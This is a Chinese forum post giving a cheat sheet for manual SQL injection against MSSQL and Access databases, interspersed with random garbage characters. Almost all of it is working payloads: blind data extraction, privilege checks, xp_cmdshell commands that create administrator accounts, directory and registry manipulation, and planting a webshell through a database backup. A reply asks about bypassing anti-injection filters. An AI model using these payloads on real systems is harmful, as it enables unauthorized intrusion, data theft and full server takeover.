手工脚本注入

admin

手工脚本注入
1.判断是否有注入;and 1=1 ;and 1=2
( _  H% J- r" i1 S/ Y. r7 u$ l
. a) l- @. r7 z, r/ z2.初步判断是否是mssql ;and user>0

3.注入参数是字符'and [查询条件] and ''='

4.搜索时没过滤参数的'and [查询条件] and '%25'='
2 S9 U% X% Y) z0 g5 N1 t
* F% f6 @& P0 m5.判断数据库系统
6 S/ [& M3 F- `- ?/ r, j;and (select count(*) from sysobjects)>0 mssql
3 ~! I* r! g! \# z7 \, `! T;and (select count(*) from msysobjects)>0 access

6.猜数据库 ;and (select Count(*) from [数据库名])>0

7.猜字段 ;and (select Count(字段名) from 数据库名)>0
" D6 L' @2 P" `% C" ^7 S
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0

9.(1)猜字段的ascii值（access）
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
0 ~' w# c! q/ W; J
(2)猜字段的ascii值（mssql）
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
6 Z5 _. q* T; K  f# W7 {
10.测试权限结构（mssql）
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
& }$ k5 a8 @1 D# X2 U8 q* @;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
$ Y/ N& L/ }/ n;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
1 V! Q, Z0 d3 Q: L. v( P;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
/ a, U" h6 P+ S' u4 B" G;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
* w6 v6 l- l$ m  V& ?: D;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
;and 1=(select IS_MEMBER('db_owner'));--
5 L6 w3 p. ^' O+ N  I3 S
& ]8 r" x( u3 [11.添加mssql和系统的帐户
;exec master.dbo.sp_addlogin username;--
: r: {' p* A) \& c4 L
;exec master.dbo.sp_password null,username,password;--
- o8 o+ U* d& e$ [0 e( r4 Y
;exec master.dbo.sp_addsrvrolemember sysadmin username;--

;exec master.dbo.xp_cmdshell 'net user username password
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--

;exec master.dbo.xp_cmdshell 'net user username password /add';--

5 ^; M6 |( M# H! a- R# ~( ^: };exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
8 f9 t/ c& s( m
; y, C  I' y' R- Y: k12.(1)遍历目录

;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree 'c:\'
;and (select top 1 paths from dirs)>0
+ R! O" r6 z7 j( H& R: S2 g;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
  \! s7 u/ g" {8 ]+ T) [% P2 ^% l+ [
5 B( a7 h/ o. p* W) L) c9 J(2)遍历目录
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
$ I, Q1 C' o& {$ X;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容

13.mssql中的存储过程

xp_regenumvalues 注册表根键, 子键
; z% n# C2 [) `/ Z" ~: S. I5 p;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值

xp_regread 根键,子键,键值名
;exec xp_regread
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
  ~+ k  l3 W6 ~! c2 N0 |
xp_regwrite 根键,子键, 值名, 值类型, 值
2 e8 @8 C; M# `9 u; Y- G6 ^; s值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表

xp_regdeletevalue 根键,子键,值名
! R# W, g" ^4 J% U) r0 K/ Y
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值

( _( L/ A- N: L; y* J* Bxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值

14.mssql的backup创建webshell
use model
create table cmd(str image);
insert into cmd(str) values ('');
backup database model to disk='c:\l.asp';

15.mssql内置函数
;and (select @@version)>0 获得Windows的版本号
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
/ R# P( _: g) t: R4 \;and (select user_name())>0 爆当前系统的连接用户
;and (select db_name())>0 得到当前连接的数据库
* @# i) n7 L* ]
; \" {/ L8 L4 ?& x/ a* X4 ~& h& V1 @16.简洁的webshell
; u' N; H5 g( y& |* H9 w& B
9 `6 a4 E4 }, Q1 P$ ?+ Z& puse model

; _, C1 [8 F  C- j2 I- ?create table cmd(str image);

! w) Y6 ?0 e: ]. P( Pinsert into cmd(str) values ('');

backup database model to disk='g:\wwwtest\l.asp';
5 x: y" {* c8 |& K4 i) y2 `
; T* c7 @. y! d  \$ t# s# Q  K- }

老男孩

现在很多防注入啊，有其他注入字符码